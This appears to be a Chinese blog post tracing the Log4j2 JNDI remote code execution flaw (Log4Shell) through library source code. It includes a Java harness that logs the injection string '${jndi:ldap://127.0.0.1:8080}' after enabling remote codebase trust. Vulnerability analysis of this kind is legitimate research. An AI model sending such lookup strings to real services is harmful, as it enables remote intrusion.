Apache Log4j2 RCE 分析

作者: print("") 分类: 未分类 发布时间: 2022-01-11 16:50

环境介绍:log4j-api-2.10.0.jar

环境采用如上的环境 

https://www.o2oxy.cn/3893.html

如果JDK版本高于191 那么需要如下的设置

package com.bycuimiao.demo;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class test {

    private static final Logger logger = LogManager.getRootLogger();

    public static void main(final String... args) {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        logger.error("${jndi:ldap://127.0.0.1:8080}");
    }

}

通过在

打上断点。然后再跟进去跟到log4j-api-2.10.0.jar!\org\apache\logging\log4j\spi\AbstractLogger.tryLogMessage 打上断点 然后继续放行。下一次到了这个断点的时候查看一下是否如下:

如果有这么长的时候。那么就从第一步查看代码

error.log 调用的是如下的函数org\apache\logging\log4j\spi\AbstractLogger.error

    public void error(String message) {
        this.logIfEnabled(FQCN, Level.ERROR, (Marker)null, (String)message, (Throwable)((Throwable)null));
    }

然后调用到

org\apache\logging\log4j\spi\AbstractLogger.logIfEnabled

    public void logIfEnabled(String fqcn, Level level, Marker marker, String message, Throwable t) {
        if (this.isEnabled(level, marker, message, t)) {
            this.logMessage(fqcn, level, marker, message, t);
        }

    }

继续下一层

    @PerformanceSensitive
    private void tryLogMessage(String fqcn, Level level, Marker marker, Message msg, Throwable throwable) {
        try {
            this.logMessage(fqcn, level, marker, (Message)msg, (Throwable)throwable);
        } catch (Exception var7) {
            this.handleLogMessageException(var7, fqcn, msg);
        }

    }

 

他这个logMessage 其实是调用的是org\apache\logging\log4j\core\Logger.logMessage

    public void logMessage(String fqcn, Level level, Marker marker, Message message, Throwable t) {
        Message msg = message == null ? new SimpleMessage("") : message;
        ReliabilityStrategy strategy = this.privateConfig.loggerConfig.getReliabilityStrategy();
        strategy.log(this, this.getName(), fqcn, marker, level, (Message)msg, t);
    }

继续向下跟踪org\apache\logging\log4j\core\config\AwaitCompletionReliabilityStrategy.log

    public void log(Supplier<LoggerConfig> reconfigured, String loggerName, String fqcn, Marker marker, Level level, Message data, Throwable t) {
        LoggerConfig config = this.getActiveLoggerConfig(reconfigured);

        try {
            config.log(loggerName, fqcn, marker, level, data, t);
        } finally {
            config.getReliabilityStrategy().afterLogEvent();
        }

    }

org\apache\logging\log4j\core\config\LoggerConfig.log

    public void log(LogEvent event) {
        if (!this.isFiltered(event)) {
            this.processLogEvent(event);
        }

    }

跟踪到fromcat 函数  format 判断是否已${ 开头。然后进入到替换函数中。

    public void format(LogEvent event, StringBuilder toAppendTo) {
        Message msg = event.getMessage();
        if (msg instanceof StringBuilderFormattable) {
            boolean doRender = this.textRenderer != null;
            StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
            int offset = workingBuilder.length();
            if (msg instanceof MultiFormatStringBuilderFormattable) {
                ((MultiFormatStringBuilderFormattable)msg).formatTo(this.formats, workingBuilder);
            } else {
                ((StringBuilderFormattable)msg).formatTo(workingBuilder);
            }

            if (this.config != null && !this.noLookups) {
                for(int i = offset; i < workingBuilder.length() - 1; ++i) {
                    if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
                        String value = workingBuilder.substring(offset, workingBuilder.length());
                        workingBuilder.setLength(offset);
                        workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
                    }
                }
            }

            if (doRender) {
                this.textRenderer.render(workingBuilder, toAppendTo);
            }

        } else {
            if (msg != null) {
                String result;
                if (msg instanceof MultiformatMessage) {
                    result = ((MultiformatMessage)msg).getFormattedMessage(this.formats);
                } else {
                    result = msg.getFormattedMessage();
                }

                if (result != null) {
                    toAppendTo.append(this.config != null && result.contains("${") ? this.config.getStrSubstitutor().replace(event, result) : result);
                } else {
                    toAppendTo.append("null");
                }
            }

        }
    }
}

format 调用了replace 参数org\apache\logging\log4j\core\lookup\StrSubstitutor.classreplace 

    public String replace(LogEvent event, String source) {
        if (source == null) {
            return null;
        } else {
            StringBuilder buf = new StringBuilder(source);
            return !this.substitute(event, buf, 0, source.length()) ? source : buf.toString();
        }
    }

将替换后的 jndi:ldap://127.0.0.1:8080 放进了resolveVariable 函数 后调用了lookup 函数

    public String lookup(LogEvent event, String var) {
        if (var == null) {
            return null;
        } else {
            int prefixPos = var.indexOf(58);
            if (prefixPos >= 0) {
                String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
                String name = var.substring(prefixPos + 1);
                StrLookup lookup = (StrLookup)this.lookups.get(prefix);
                if (lookup instanceof ConfigurationAware) {
                    ((ConfigurationAware)lookup).setConfiguration(this.configuration);
                }

                String value = null;
                if (lookup != null) {
                    value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
                }

                if (value != null) {
                    return value;
                }

                var = var.substring(prefixPos + 1);
            }

            if (this.defaultLookup != null) {
                return event == null ? this.defaultLookup.lookup(var) : this.defaultLookup.lookup(event, var);
            } else {
                return null;
            }
        }
    }

最终调用到org\apache\logging\log4j\core\lookup\JndiLookup.lookup 函数

    public String lookup(LogEvent event, String key) {
        if (key == null) {
            return null;
        } else {
            String jndiName = this.convertJndiName(key);

            try {
                JndiManager jndiManager = JndiManager.getDefaultManager();
                Throwable var5 = null;

                String var6;
                try {
                    var6 = Objects.toString(jndiManager.lookup(jndiName), (String)null);
                } catch (Throwable var16) {
                    var5 = var16;
                    throw var16;
                } finally {
                    if (jndiManager != null) {
                        if (var5 != null) {
                            try {
                                jndiManager.close();
                            } catch (Throwable var15) {
                                var5.addSuppressed(var15);
                            }
                        } else {
                            jndiManager.close();
                        }
                    }

                }

                return var6;
            } catch (NamingException var18) {
                LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, var18);
                return null;
            }
        }
    }

最终触发漏洞

jndiManager.lookup(jndiName)

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表评论

您的电子邮箱地址不会被公开。